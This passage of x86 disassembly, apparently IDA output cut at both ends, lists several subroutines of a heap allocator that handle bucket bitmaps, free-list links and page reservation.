0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41B0D8 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41AE8A sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AE18 push 3Fh pop edx loc_41AE18: ; CODE XREF: sub_41ADB4+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41AE6C cmp edx, 20h jnb short loc_41AE43 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41AE64 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41AE64 ; --------------------------------------------------------------------------- loc_41AE43: ; CODE XREF: sub_41ADB4+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41AE64 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41AE64: ; CODE XREF: sub_41ADB4+86j ; sub_41ADB4+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE6C: ; CODE XREF: sub_41ADB4+6Aj mov ecx, [ebp+var_4] loc_41AE6F: ; CODE XREF: sub_41ADB4+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41AE8A: ; CODE XREF: sub_41ADB4+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AE98 push 3Fh pop edx loc_41AE98: ; CODE XREF: sub_41ADB4+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41AF3B sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41AEBD mov ebx, esi loc_41AEBD: ; CODE XREF: sub_41ADB4+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41AECF mov edx, esi loc_41AECF: ; CODE XREF: sub_41ADB4+117j cmp ebx, edx jz short loc_41AF36 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41AF1E cmp ebx, 20h jnb short loc_41AEFF mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AF1E mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41AF1E ; --------------------------------------------------------------------------- loc_41AEFF: ; CODE XREF: sub_41ADB4+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AF1E mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41AF1E: ; CODE XREF: sub_41ADB4+128j ; sub_41ADB4+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41AF36: ; CODE XREF: sub_41ADB4+11Dj mov esi, [ebp+arg_4] jmp short loc_41AF3E ; --------------------------------------------------------------------------- loc_41AF3B: ; CODE XREF: sub_41ADB4+EDj mov ebx, [ebp+arg_0] loc_41AF3E: ; CODE XREF: sub_41ADB4+185j cmp [ebp+var_C], 0 jnz short loc_41AF4C cmp ebx, edx jz loc_41AFCD loc_41AF4C: ; CODE XREF: sub_41ADB4+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41AFCD mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41AFA4 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AF93 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41AF93: ; CODE XREF: sub_41ADB4+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41AFCD ; --------------------------------------------------------------------------- loc_41AFA4: ; CODE XREF: sub_41ADB4+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AFBA lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41AFBA: ; CODE XREF: sub_41ADB4+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41AFCD: ; CODE XREF: sub_41ADB4+192j ; sub_41ADB4+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41B0D8 mov eax, dword_48B674 test eax, eax jz loc_41B0CA mov ecx, dword_48B66C mov esi, dword_4241B0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_48B66C mov eax, dword_48B674 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_48B674 mov ecx, dword_48B66C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_48B674 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_48B674 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41B05B and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_48B674 loc_41B05B: ; CODE XREF: sub_41ADB4+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41B0CA push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_48B674 push dword ptr [eax+10h] push 0 push dword_48B684 nop call near ptr 26F0000h mov eax, dword_48B678 mov edx, dword_48B67C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_48B674 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_4182C0 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_48B678 cmp eax, dword_48B674 jbe short loc_41B0C0 sub [ebp+arg_0], 14h loc_41B0C0: ; CODE XREF: sub_41ADB4+306j mov eax, dword_48B67C mov dword_48B670, eax loc_41B0CA: ; CODE XREF: sub_41ADB4+234j ; sub_41ADB4+2ABj mov eax, [ebp+arg_0] mov dword_48B66C, edi mov dword_48B674, eax loc_41B0D8: ; CODE XREF: sub_41ADB4+38j ; sub_41ADB4+227j pop edi pop esi pop ebx leave retn sub_41ADB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0DD proc near ; CODE XREF: sub_417BC7+18p ; sub_41944F+77p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_48B678 mov edx, dword_48B67C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41B11D or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41B12D ; --------------------------------------------------------------------------- loc_41B11D: ; CODE XREF: sub_41B0DD+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41B12D: ; CODE XREF: sub_41B0DD+3Ej mov eax, dword_48B670 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41B154 loc_41B13B: ; CODE XREF: sub_41B0DD+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B154 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41B13B loc_41B154: ; CODE XREF: sub_41B0DD+5Cj ; sub_41B0DD+6Aj cmp ebx, [ebp+var_4] jnz short loc_41B1D2 mov ebx, edx loc_41B15B: ; CODE XREF: sub_41B0DD+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41B177 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B175 add ebx, 14h jmp short loc_41B15B ; --------------------------------------------------------------------------- loc_41B175: ; CODE XREF: sub_41B0DD+91j cmp ebx, eax loc_41B177: ; CODE XREF: sub_41B0DD+83j jnz short loc_41B1D2 loc_41B179: ; CODE XREF: sub_41B0DD+ADj cmp ebx, [ebp+var_4] jnb short loc_41B18F cmp dword ptr [ebx+8], 0 jnz short loc_41B18C add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41B179 ; --------------------------------------------------------------------------- loc_41B18C: ; CODE XREF: sub_41B0DD+A5j cmp ebx, [ebp+var_4] loc_41B18F: ; CODE XREF: sub_41B0DD+9Fj jnz short loc_41B1B7 mov ebx, edx loc_41B193: ; CODE XREF: sub_41B0DD+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41B1A7 cmp dword ptr [ebx+8], 0 jnz short loc_41B1A5 add ebx, 14h jmp short loc_41B193 ; --------------------------------------------------------------------------- loc_41B1A5: ; CODE XREF: sub_41B0DD+C1j cmp ebx, eax loc_41B1A7: ; CODE XREF: sub_41B0DD+BBj jnz short loc_41B1B7 call sub_41B3E6 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41B1CB loc_41B1B7: ; CODE XREF: sub_41B0DD:loc_41B18Fj ; sub_41B0DD:loc_41B1A7j push ebx call sub_41B497 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41B1D2 loc_41B1CB: ; CODE XREF: sub_41B0DD+D8j xor eax, eax jmp loc_41B3E1 ; --------------------------------------------------------------------------- loc_41B1D2: ; CODE XREF: sub_41B0DD+7Aj ; sub_41B0DD:loc_41B177j ... mov dword_48B670, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41B1F9 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B230 loc_41B1F9: ; CODE XREF: sub_41B0DD+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41B22D loc_41B216: ; CODE XREF: sub_41B0DD+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41B216 loc_41B22D: ; CODE XREF: sub_41B0DD+137j mov edx, [ebp+var_4] loc_41B230: ; CODE XREF: sub_41B0DD+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41B259 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41B259: ; CODE XREF: sub_41B0DD+16Dj ; sub_41B0DD+183j test ecx, ecx jl short loc_41B262 shl ecx, 1 inc edi jmp short loc_41B259 ; --------------------------------------------------------------------------- loc_41B262: ; CODE XREF: sub_41B0DD+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41B27F push 3Fh pop esi loc_41B27F: ; CODE XREF: sub_41B0DD+19Dj cmp esi, edi jz loc_41B394 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41B2F0 cmp edi, 20h jge short loc_41B2BF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41B2ED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41B2F0 ; --------------------------------------------------------------------------- loc_41B2BF: ; CODE XREF: sub_41B0DD+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41B2ED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41B2F0 ; --------------------------------------------------------------------------- loc_41B2ED: ; CODE XREF: sub_41B0DD+1D6j ; sub_41B0DD+203j mov ebx, [ebp+arg_0] loc_41B2F0: ; CODE XREF: sub_41B0DD+1B0j ; sub_41B0DD+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41B3A0 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41B391 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41B362 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B350 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41B350: ; CODE XREF: sub_41B0DD+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41B391 ; --------------------------------------------------------------------------- loc_41B362: ; CODE XREF: sub_41B0DD+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B37B lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41B37B: ; CODE XREF: sub_41B0DD+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41B391: ; CODE XREF: sub_41B0DD+24Ej ; sub_41B0DD+283j mov ecx, [ebp+var_8] loc_41B394: ; CODE XREF: sub_41B0DD+1A4j test ecx, ecx jz short loc_41B3A3 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41B3A3 ; --------------------------------------------------------------------------- loc_41B3A0: ; CODE XREF: sub_41B0DD+229j mov ecx, [ebp+var_8] loc_41B3A3: ; CODE XREF: sub_41B0DD+2B9j ; sub_41B0DD+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41B3D9 cmp ebx, dword_48B674 jnz short loc_41B3D9 mov ecx, [ebp+var_4] cmp ecx, dword_48B66C jnz short loc_41B3D9 and dword_48B674, 0 loc_41B3D9: ; CODE XREF: sub_41B0DD+2E0j ; sub_41B0DD+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41B3E1: ; CODE XREF: sub_41B0DD+F0j pop edi pop esi pop ebx leave retn sub_41B0DD endp ; =============== S U B R O U T I N E ======================================= sub_41B3E6 proc near ; CODE XREF: sub_41B0DD+CCp mov eax, dword_48B678 mov ecx, dword_48B668 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41B429 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_48B67C push edi push dword_48B684 call near ptr 2810000h nop cmp eax, edi jz short loc_41B479 add dword_48B668, 10h mov dword_48B67C, eax mov eax, dword_48B678 loc_41B429: ; CODE XREF: sub_41B3E6+11j mov ecx, dword_48B67C push 41C4h push 8 lea eax, [eax+eax*4] push dword_48B684 lea esi, [ecx+eax*4] nop call near ptr 2700000h cmp eax, edi mov [esi+10h], eax jz short loc_41B479 push 4 push 2000h push 100000h push edi nop call near ptr 28406B4h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41B47D push dword ptr [esi+10h] push edi push dword_48B684 nop call near ptr 26F0000h loc_41B479: ; CODE XREF: sub_41B3E6+30j ; sub_41B3E6+67j xor eax, eax jmp short loc_41B494 ; --------------------------------------------------------------------------- loc_41B47D: ; CODE XREF: sub_41B3E6+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_48B678 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41B494: ; CODE XREF: sub_41B3E6+95j pop edi pop esi retn sub_41B3E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B497 proc near ; CODE XREF: sub_41B0DD+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41B4A9: ; CODE XREF: sub_41B497+19j test eax, eax jl short loc_41B4B2 shl eax, 1 inc ebx jmp short loc_41B4A9 ; --------------------------------------------------------------------------- loc_41B4B2: ; CODE XREF: sub_41B497+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41B4C7: ; CODE XREF: sub_41B497+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41B4C7 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 28406B4h test eax, eax jnz short loc_41B4FA or eax, 0FFFFFFFFh jmp loc_41B58D ; --------------------------------------------------------------------------- loc_41B4FA: ; CODE XREF: sub_41B497+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41B540 lea eax, [edi+10h] loc_41B507: ; CODE XREF: sub_41B497+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41B507 loc_41B540: ; CODE XREF: sub_41B497+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41B57D or [eax+4], edi loc_41B57D: ; CODE XREF: sub_41B497+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41B58D: ; CODE XREF: sub_41B497+5Ej pop edi pop esi pop ebx leave retn sub_41B497 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B592 proc near ; CODE XREF: sub_41944F+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41B740 test bl, 1 jnz loc_41B739 add ebx, ecx cmp esi, ebx jg loc_41B739 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41B609 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41B609: ; CODE XREF: sub_41B592+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41B659 cmp ecx, 20h jnb short loc_41B635 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41B659 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B659 ; --------------------------------------------------------------------------- loc_41B635: ; CODE XREF: sub_41B592+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B659 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B659: ; CODE XREF: sub_41B592+7Dj ; sub_41B592+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41B727 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41B693 push 3Fh pop edi loc_41B693: ; CODE XREF: sub_41B592+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41B715 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41B6EC cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B6DF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41B6DF: ; CODE XREF: sub_41B592+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41B711 ; --------------------------------------------------------------------------- loc_41B6EC: ; CODE XREF: sub_41B592+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B702 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41B702: ; CODE XREF: sub_41B592+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41B711: ; CODE XREF: sub_41B592+158j shr edx, cl or [eax], edx loc_41B715: ; CODE XREF: sub_41B592+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41B72A ; --------------------------------------------------------------------------- loc_41B727: ; CODE XREF: sub_41B592+E5j mov edx, [ebp+arg_4] loc_41B72A: ; CODE XREF: sub_41B592+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41B880 ; --------------------------------------------------------------------------- loc_41B739: ; CODE XREF: sub_41B592+52j ; sub_41B592+5Cj xor eax, eax jmp loc_41B883 ; --------------------------------------------------------------------------- loc_41B740: ; CODE XREF: sub_41B592+49j jge loc_41B880 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41B76B push 3Fh pop esi loc_41B76B: ; CODE XREF: sub_41B592+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41B7FA mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B784 push 3Fh pop esi loc_41B784: ; CODE XREF: sub_41B592+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41B7D3 cmp esi, 20h jnb short loc_41B7AF mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41B7D0 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B7D0 ; --------------------------------------------------------------------------- loc_41B7AF: ; CODE XREF: sub_41B592+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B7D0 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B7D0: ; CODE XREF: sub_41B592+214j ; sub_41B592+21Bj ... mov ebx, [ebp+arg_4] loc_41B7D3: ; CODE XREF: sub_41B592+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B7FA push 3Fh pop esi loc_41B7FA: ; CODE XREF: sub_41B592+1DDj ; sub_41B592+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41B877 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41B84E cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41B841 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41B841: ; CODE XREF: sub_41B592+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41B873 ; --------------------------------------------------------------------------- loc_41B84E: ; CODE XREF: sub_41B592+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41B864 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41B864: ; CODE XREF: sub_41B592+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41B873: ; CODE XREF: sub_41B592+2BAj shr edx, cl or [eax], edx loc_41B877: ; CODE XREF: sub_41B592+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41B880: ; CODE XREF: sub_41B592+1A2j ; sub_41B592:loc_41B740j push 1 pop eax loc_41B883: ; CODE XREF: sub_41B592+1A9j pop edi pop esi pop ebx leave retn sub_41B592 endp ; =============== S U B R O U T I N E ======================================= sub_41B888 proc near ; CODE XREF: sub_41BB80:loc_41BD4Fp cmp dword_4397D0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41B89C mov esi, offset off_4397C0 jmp short loc_41B8B9 ; --------------------------------------------------------------------------- loc_41B89C: ; CODE XREF: sub_41B888+Bj push 2020h push 0 push dword_48B684 nop call near ptr 2700000h mov esi, eax test esi, esi jz loc_41B9C5 loc_41B8B9: ; CODE XREF: sub_41B888+12j mov ebp, dword_4241B4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41B9AE push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41B9A0 mov eax, offset off_4397C0 cmp esi, eax jnz short loc_41B918 cmp off_4397C0, 0 jnz short loc_41B908 mov off_4397C0, eax loc_41B908: ; CODE XREF: sub_41B888+79j cmp off_4397C4, 0 jnz short loc_41B92D mov off_4397C4, eax jmp short loc_41B92D ; --------------------------------------------------------------------------- loc_41B918: ; CODE XREF: sub_41B888+70j mov [esi], eax mov eax, off_4397C4 mov [esi+4], eax mov off_4397C4, esi mov eax, [esi+4] mov [eax], esi loc_41B92D: ; CODE XREF: sub_41B888+87j ; sub_41B888+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41B94F: ; CODE XREF: sub_41B888+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 